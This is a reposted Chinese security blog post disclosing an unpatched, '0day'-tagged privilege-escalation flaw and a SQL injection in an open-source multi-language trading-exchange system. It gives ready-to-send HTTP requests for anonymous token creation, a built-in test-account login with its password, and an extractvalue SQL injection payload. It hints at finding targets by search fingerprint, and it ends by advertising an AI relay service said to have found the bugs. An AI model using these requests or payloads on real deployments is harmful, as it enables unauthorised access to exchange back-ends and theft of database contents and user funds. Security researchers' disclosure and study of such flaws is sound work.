某34国语言综合GP交易所存在前台SQL注入漏洞(Java)

admin 2026-06-30 06:36:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析某多语言交易所系统的安全漏洞,发现前台存在垂直越权漏洞和SQL注入漏洞。权限校验缺失导致普通用户可访问管理员接口,MyBatis未使用预编译导致支付方式查询存在SQL注入风险。文档提供具体漏洞位置、利用方法和修复建议。 综合评分: 78 文章分类: 漏洞分析,WEB安全,代码审计,安全开发,红队


cover_image

某34国语言综合GP交易所存在前台SQL注入漏洞 (Java)

原创

XingYue404 XingYue404

星悦安全

2026年6月28日 18:54 浙江

在小说阅读器读本章

去阅读

点击上方蓝字关注我们 并设为星标

0x00 前言

漏洞完全由AI分析,无特殊提示词 Skill,同款见文末.

34国语言综合股票交易所开源源码 为一套功能完整的综合性在线交易系统,公开资料提及支持加密货币现货/合约/期权、外汇、全球股票、ETF、大宗商品、跟单、C2C、NFT、理财借贷等数十个业务模块,

技术栈 : Java Spring Boot 2.7 + Vue3/Vue2 + MySQL + Redis

Fofa指纹(后端) : 自己找

0x01 前台垂直越权漏洞

全局过滤器AuthFilter.doFilter/trad-admin/trading-order-security-common/src/main/java/com/yami/trading/security/common/filter:156-237)只校验 token 是否有效(tokenStore.getUserInfoByAccessToken),解析成功后仅AuthUserContext.set(userInfoInToken)即放行,从不判断 token 的sysType(ADMIN / ORDINARY)能否访问当前控制器

if (StrUtil.isNotBlank(accessToken)) {
    try {
        userInfoInToken = tokenStore.getUserInfoByAccessToken(accessToken, true);
        if (userInfoInToken.getSysType().intValue() == SysTypeEnum.ORDINARY.value().intValue()) {
            String userId = userInfoInToken.getUserId();
            // 缓存优化 TODO
            User userEntity = userService.cacheUserBy(userId);
            if (userEntity != null) {
                userCode = userEntity.getUserCode();
            }
        }
    } catch (Exception e) {
        if (e instanceof YamiShopBindException) {
            logger.error("---> AuthFilter doFilter 处理 uri:{}, accessToken:{} 报 YamiShopBindException 异常:{}", requestUri, accessToken, e.getMessage());
            tokenErr = (YamiShopBindException)e;
        } else {
            logger.error("---> AuthFilter doFilter 处理 uri:{}, accessToken:{} 报错:", requestUri, accessToken, e);
            throw e;
        }
    }
}
// 处理黑名单访问,断网逻辑
if (checkBlackRequest(req, resp, clientIp, userCode)) {
    return;
}

try {
    // 识别时区信息
    processTimezone(req);

    // 白名单
    if (servletPathWhiteUri) {
        chain.doFilter(req, resp);
        return;
    }

    //
    if (ObjectUtils.isNotEmpty(VERSION_NUMBER)) {
        // 验证时间戳签名
        if (checkSign(req,response)) {
            return;
        }
    }

    // 当前 uri 不用检查是否携带 token,直接执行对应的接口
    if (ignoreTokenUri) {
        chain.doFilter(req, resp);
        return;
    }

    // 有 token 就用,没 token 也无所谓的 api
    if (userInfoInToken != null) {
        // 如果有 token,并且解析成功,则走以下处理逻辑
        // 已移除IP检查逻辑,不再进行IP地址验证
        // if (userInfoInToken.getSysType().intValue() == SysTypeEnum.ADMIN.value().intValue()) {
        //     if (!pathMatcher.match("/updateCheckIp", requestUri)) {
        //         Object loginIP = RedisUtil.get(RedisKeys.ACCESS_IP + userInfoInToken.getUserId());
        //         if (null != loginIP && !IPHelper.equalIpSegment(loginIP.toString(), clientIp)) {
        //             logger.error("The Login IP Is Inconsistent With The Operation IP! Login-IP:{} Access-IP:{} Servlet-Path:{}", loginIP, clientIp, servletPath);
        //             httpHandler.printServerResponseToWeb("", 1001);
        //             return;
        //         }
        //     }
        // }

        // 保存上下文
        AuthUserContext.set(userInfoInToken);
    } elseif (!optionalTokenUri) {
        // token 必填的路径
        // 如果没有 token,或者 token 解析失败/过期,但是当前请求 uri 又不是一个可选 token 的uri,则报错,提示 token 无效
        // 返回前端401
                logger.error("---> requestUri:{} 未配置 optional 白名单", requestUri);
                httpHandler.printServerResponseToWeb("您的账号已过期或已经在其他地方登录,请重新登录", 403);
                return;
            }
            if (tokenErr != null) {
                // 前面解析 token 报错,此处抛出
                throw tokenErr;
            }

            // token 逻辑校验顺利
            chain.doFilter(req, resp);

授权完全依赖各方法上的@PreAuthorize@EnableGlobalMethodSecurity)。经统计@PreAuthorize仅出现在 5 个sys/*控制器(共 21 处),其余约 150 个资金类后台控制器没有任何方法级授权

SecurityUtils.getSysUser()(SecurityUtils.java:14-31)对 ORDINARY 与 ADMIN token 一视同仁返回非空对象,不区分来源。

public YamiSysUser getSysUser() {
    UserInfoInTokenBO userInfoInTokenBO = AuthUserContext.get();
    if(userInfoInTokenBO == null){
        returnnull;
    }
    YamiSysUser details = new YamiSysUser();
    String userId = userInfoInTokenBO.getUserId();
    // 兼容swagger 请求情况
    if(StringUtils.isEmpty(userId)){
        returnnull;
    }
    details.setUserId(Long.valueOf(userId));
    details.setEnabled(userInfoInTokenBO.getEnabled());
    details.setUsername(userInfoInTokenBO.getNickName());
    details.setAuthorities(userInfoInTokenBO.getPerms());
    details.setShopId(userInfoInTokenBO.getShopId());
    return details;
}

token 可经白名单内的匿名注册接口/api/registerNoVerifcode/api/user/register(验证码校验被注释)零成本批量获取.

Payload(匿名创建用户获取Token):

POST /api/registerNoVerifcode HTTP/2
Host: 127.0.0.1
Content-Length: 54
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Sec-Fetch-User: ?1
Priority: u=0, i
Connection: close

userName=deep666&password=Passw0rd666&userCode=&type=3

如果系统没有 /api/registerNoVerifcode 这个接口,还能通过 /api/user/login 接口登入一些系统内置测试账户来获取到 Token,如下 GET 访问

/api/user/login?language=en&username=ceshi2&password=123456

而获取到 Token 之后,我们就直接能操纵后台的一些接口了,权限成功提升不少,很多操作都可以用了,这里不多说.

0x02 前台SQL注入漏洞

sinkC2cPaymentMethodMapper.xml:26

链路C2cPaymentMethodController.java:96C2cPaymentMethodServiceImpl.java:42-44C2cPaymentMethodMapper.java:12-16

C2cPaymentMethodMapper.xml

<?xml version="1.0"&nbsp;encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC&nbsp;"-//mybatis.org//DTD Mapper 3.0//EN""http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.yami.trading.dao.c2c.C2cPaymentMethodMapper">

&nbsp; &nbsp; <select id="listPage"&nbsp;resultType="com.yami.trading.bean.c2c.dto.C2cPaymentMethodDto">
&nbsp; &nbsp; &nbsp; &nbsp; select
&nbsp; &nbsp; &nbsp; &nbsp; cpm.*,
&nbsp; &nbsp; &nbsp; &nbsp; party.user_id ,
&nbsp; &nbsp; &nbsp; &nbsp; party.user_code ,
&nbsp; &nbsp; &nbsp; &nbsp; party.user_name
&nbsp; &nbsp; &nbsp; &nbsp; from
&nbsp; &nbsp; &nbsp; &nbsp; t_c2c_payment_method cpm
&nbsp; &nbsp; &nbsp; &nbsp; left join tz_user party on cpm.party_id = party.user_id
&nbsp; &nbsp; &nbsp; &nbsp; left join t_c2c_user cu on cu.c2c_user_party_id = party.user_id
&nbsp; &nbsp; &nbsp; &nbsp; where
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1&nbsp;=&nbsp;1&nbsp; and cpm.type=#{type}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <if&nbsp;test="loginPartyId!=null and loginPartyId!=''">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; and cu.c2c_manager_party_id=#{loginPartyId}
&nbsp; &nbsp; &nbsp; &nbsp; </if>
&nbsp; &nbsp; &nbsp; &nbsp; <if&nbsp;test="userCode!=null and userCode!=''">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; AND (party.user_name like&nbsp;CONCAT('%', #{userCode},&nbsp;'%')&nbsp;or party.user_code like&nbsp;CONCAT('%', #{userCode},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'%'))
&nbsp; &nbsp; &nbsp; &nbsp; </if>

&nbsp; &nbsp; &nbsp; &nbsp; <if&nbsp;test="methodType!=null and methodType!=''">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; and cpm.method_type =${methodType}
&nbsp; &nbsp; &nbsp; &nbsp; </if>
&nbsp; &nbsp; &nbsp; &nbsp; <if&nbsp;test="methodName!=null and methodName!=''">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; and cpm.method_name like&nbsp;CONCAT('%', #{methodName},&nbsp;'%')
&nbsp; &nbsp; &nbsp; &nbsp; </if>
&nbsp; &nbsp; &nbsp; &nbsp; order by cpm.create_time desc
&nbsp; &nbsp; </select>
</mapper>

c2cpaymentmethodcontroller.java

adminC2cPaymentMethodService.listPage(page,&nbsp;"", model.getUserName(), model.getMethodType(), model.getMethodName(),model.getType());

C2cPaymentMethodServiceImpl.java

public&nbsp;Page<C2cPaymentMethodDto>&nbsp;listPage(Page page, String loginPartyId, String userCode, String methodType, String methodName,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;type)&nbsp;{
&nbsp; &nbsp;&nbsp;return&nbsp;baseMapper.listPage(page,loginPartyId,userCode,methodType,methodName,type);
}

C2cPaymentMethodMapper.java

Page<C2cPaymentMethodDto>&nbsp;listPage(Page page, @Param("loginPartyId")&nbsp;String loginPartyId,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;@Param("userCode")&nbsp;String userCode,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;@Param("methodType")&nbsp;String methodType,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;@Param("methodName")&nbsp;String methodName,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;@Param("type")&nbsp;&nbsp;int&nbsp;type);
}

由于methodType(String,无白名单/数值校验)经${}直接拼入 SQL,列method_type为整型(无引号数值上下文)。全环境 JDBC URL 含allowMultiQueries=true,堆叠写库可行。其余参数用#{}(安全)

注意这里我们就可以用 0x01 前台垂直越权漏洞可创建的账户来进行授权

Payload (获取数据库用户):

POST /api/paymentMethod/list HTTP/2
Host: 127.0.0.1
Content-Length: 159
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Authorization: 你获取到的前台用户Token
Sec-Fetch-User: ?1
Priority: u=0, i

{
&nbsp; "size": 5,
&nbsp; "current": 1,
&nbsp; "type": 1,
&nbsp; "methodName": "",
&nbsp; "userName": "",
&nbsp;"methodType":"1 AND extractvalue(1,concat(0x7e,(SELECT user())))"
}

这里SQL注入有挺多不错的可操作点,就不过多演示了.

0x03 AI 漏洞挖掘

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所

本漏洞完全由星悦AI中转提供的Claude Opus 4.8 挖掘分析.

https://www.xyusec.com/

新用户还可以添加下方客服进群领5$额度

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星悦安全 XingYue404 XingYue404《某34国语言综合GP交易所存在前台SQL注入漏洞 (Java)》

评论:0   参与:  0